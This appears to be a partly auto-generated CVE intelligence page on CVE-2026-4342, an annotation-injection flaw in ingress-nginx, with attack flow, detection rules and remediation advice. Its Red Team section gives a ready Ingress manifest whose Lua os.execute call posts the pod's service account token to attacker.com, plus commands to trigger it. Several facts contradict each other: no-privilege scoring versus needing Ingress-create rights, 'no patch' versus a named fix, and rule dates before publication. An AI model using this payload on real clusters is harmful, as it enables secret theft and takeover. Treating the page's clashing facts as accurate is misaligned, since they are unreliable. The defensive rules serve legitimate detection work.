☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Kubernetes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 🐛 CWE-20
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-4342

CVE-2026-4342 Code Execution in Ingress-nginx
📅 PUBLISHED: 2026-03-19 21:50 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v1.13.9 — source: kubernetes. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.60%
👁️
0.60% probability
15.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-4342 is a critical security vulnerability in ingress-nginx, the popular Kubernetes ingress controller. The flaw allows an attacker to inject arbitrary nginx configuration through a combination of malicious Ingress annotations. Successful exploitation can lead to remote code execution (RCE) within the ingress-nginx controller pod and disclosure of any Secrets the controller has access to. In a default installation, this includes all Secrets cluster-wide, making this a severe supply chain and infrastructure risk for Kubernetes environments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the ingress-nginx project, which is a core component of the Kubernetes ecosystem. As an open-source project distributed via GitHub and container registries (e.g., Docker Hub, Google Container Registry), the supply chain risk is significant. Organizations relying on ingress-nginx must verify the integrity of their controller images and ensure they are not running a vulnerable version. The lack of a confirmed patch or version range increases the urgency for defensive measures.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None – No authentication or privileges are needed to exploit.
  • User Interaction (UI): None – The victim does not need to perform any action.
  • Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High – Full disclosure of Secrets accessible to the controller.
  • Integrity (I): High – Arbitrary code execution allows modification of system state.
  • Availability (A): High – An attacker could disrupt the controller or the entire cluster.

Threat Level: Critical. The combination of network exploitability, no required privileges, and the potential for cluster-wide secret disclosure makes this a top-priority vulnerability.

Deep Dive & Mechanics

The vulnerability resides in how ingress-nginx processes Ingress annotations. Ingress annotations are key-value pairs that allow users to customize the behavior of the ingress controller, such as setting custom headers, rewriting URLs, or enabling authentication.

The flaw allows an attacker to craft a malicious Ingress resource with a specific combination of annotations that, when processed by the controller, inject arbitrary nginx configuration directives. This is possible because the controller does not properly sanitize or validate the values of certain annotations before embedding them into the generated nginx configuration file.

Attack Flow:

  1. Craft Malicious Ingress: An attacker creates or modifies an Ingress resource in the Kubernetes cluster (requires networking.k8s.io API access, but no special RBAC privileges beyond creating Ingress resources).
  2. Inject Annotations: The attacker includes annotations that, when concatenated, form a valid nginx configuration snippet. For example, using annotations like nginx.ingress.kubernetes.io/server-snippet or nginx.ingress.kubernetes.io/configuration-snippet with carefully crafted values.
  3. Configuration Generation: The ingress-nginx controller reads the Ingress resource and generates an nginx configuration file. The malicious annotation values are inserted directly into the configuration without proper escaping or validation.
  4. Configuration Reload: The controller reloads nginx with the new configuration. The injected directives are now active.
  5. Code Execution: The attacker can inject nginx directives that execute arbitrary Lua scripts (if Lua is enabled) or use other nginx modules to execute system commands. This leads to RCE within the controller pod.
  6. Secret Disclosure: Once RCE is achieved, the attacker can read the controller's service account token and access the Kubernetes API to retrieve Secrets from any namespace, as the controller typically has cluster-wide read access to Secrets.

Vulnerable vs. Patched Code

Since no patch or specific version range is available, a direct code comparison is not possible. However, the vulnerable code pattern is likely in the annotation processing logic.

Vulnerable Code Pattern (Conceptual):

// Vulnerable: Directly using annotation value in config
annotationValue := ingress.Annotations["nginx.ingress.kubernetes.io/server-snippet"]
config += annotationValue

Patched Code Pattern (Expected):

// Patched: Sanitize and validate annotation value
annotationValue := ingress.Annotations["nginx.ingress.kubernetes.io/server-snippet"]
sanitizedValue := sanitizeNginxConfig(annotationValue)
config += sanitizedValue

The patch would likely involve:

  • Strict validation of annotation values against a whitelist of allowed directives.
  • Proper escaping of special characters.
  • Disabling or restricting the use of dangerous annotations like server-snippet and configuration-snippet by default.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a Kubernetes cluster (e.g., using Minikube or Kind).
  2. Install a vulnerable version of ingress-nginx (e.g., an older version before the fix).
  3. Create a namespace and deploy a simple web application.
  4. Create an Ingress resource for the application.

Exploitation Steps:

  1. Craft Malicious Ingress:

    apiVersion: networking.k8s.io/v1
    kind: Ingress
    metadata:
      name: malicious-ingress
      annotations:
        nginx.ingress.kubernetes.io/server-snippet: |
          location /evil {
            content_by_lua_block {
              os.execute("curl -X POST http://attacker.com/exfil -d $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)")
            }
          }
    spec:
      ingressClassName: nginx
      rules:
      - host: evil.example.com
        http:
          paths:
          - path: /
            pathType: Prefix
            backend:
              service:
                name: my-service
                port:
                  number: 80
    
  2. Apply the Ingress:

    kubectl apply -f malicious-ingress.yaml
    
  3. Trigger Exploit: Send a request to the crafted endpoint:

    curl -H "Host: evil.example.com" http://<ingress-controller-ip>/evil
    
  4. Exfiltrate Secrets: The Lua script will execute, sending the service account token to the attacker's server. The attacker can then use this token to query the Kubernetes API for Secrets.

Blue Team (Defensive)

Detection & Prevention:

  1. Monitor Ingress Creation/Modification: Alert on any Ingress resource that uses dangerous annotations like server-snippet, configuration-snippet, or modsecurity-snippet.
  2. Audit Logs: Enable Kubernetes audit logs and monitor for suspicious Ingress API calls.
  3. Network Segmentation: Restrict egress traffic from the ingress-controller pod to prevent data exfiltration.
  4. Secrets Management: Use a secrets store (e.g., HashiCorp Vault) and limit the controller's access to only necessary Secrets.
  5. Admission Controllers: Use OPA/Gatekeeper or Kyverno to enforce policies that block Ingress resources with dangerous annotations.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound connections from the ingress-nginx controller pod to unknown external IPs.
    • Unusual HTTP requests to the controller with suspicious paths (e.g., /evil, /exec).
  • File System:
    • Unexpected files in the controller pod's /etc/nginx directory.
    • Modified nginx configuration files containing Lua scripts or os.execute calls.
  • Process:
    • Unusual child processes spawned by the nginx worker processes (e.g., curl, wget, bash).
  • Kubernetes API:
    • Unexpected get or list requests for Secrets from the ingress-nginx service account.
    • Creation of Ingress resources with annotations containing suspicious strings like content_by_lua_block, os.execute, or access_by_lua_block.

Detection Engineering

YARA Rule

rule CVE_2026_4342_Ingress_Nginx_Annotation_Injection {
    meta:
        description = "Detects malicious Ingress annotations attempting to inject nginx config"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-4342"
        severity = "critical"
    strings:
        $lua_block = /content_by_lua_block|access_by_lua_block|rewrite_by_lua_block/i
        $os_execute = /os\.execute/i
        $io_popen = /io\.popen/i
        $server_snippet = /server-snippet/i
        $config_snippet = /configuration-snippet/i
    condition:
        any of ($lua_block) or any of ($os_execute) or any of ($io_popen) or
        (any of ($server_snippet) and any of ($config_snippet))
}

Sigma Rule

title: CVE-2026-4342 - Malicious Ingress Annotation Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation or modification of Ingress resources with suspicious annotations indicative of CVE-2026-4342 exploitation.
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-4342
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        verb: ["create", "update", "patch"]
        objectRef.resource: "ingresses"
        objectRef.apiGroup: "networking.k8s.io"
    keywords:
        - "server-snippet"
        - "configuration-snippet"
        - "content_by_lua_block"
        - "os.execute"
        - "io.popen"
    condition: selection and keywords
falsepositives:
    - Legitimate use of nginx annotations for custom configurations (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-4342 - Ingress-Nginx Annotation Injection Exploit"; flow:to_server,established; content:"/evil"; http_uri; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Controller: If possible, restrict network access to the ingress-nginx controller pod using NetworkPolicies.
  2. Audit Ingress Resources: Review all existing Ingress resources for suspicious annotations. Use kubectl get ingress -A -o yaml | grep -E "server-snippet|configuration-snippet" to find potentially malicious entries.
  3. Limit Secrets Access: Modify the ClusterRole for the ingress-nginx service account to remove or restrict access to Secrets. Use a dedicated service account with minimal privileges.
  4. Enable Admission Control: Deploy OPA/Gatekeeper or Kyverno to block Ingress resources with dangerous annotations.

Long-Term Fixes:

  1. Patch: Monitor the ingress-nginx project for an official patch. Once available, upgrade to the patched version immediately.
  2. Configuration Hardening: Disable dangerous annotations by default using the --enable-annotation-validation flag or by setting controller.config.enable-annotation-validation: "true" in the Helm values.
  3. Regular Audits: Implement continuous monitoring of Kubernetes audit logs for suspicious Ingress API calls.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System. For questions or further analysis, contact your Valters IT representative.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-4342/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.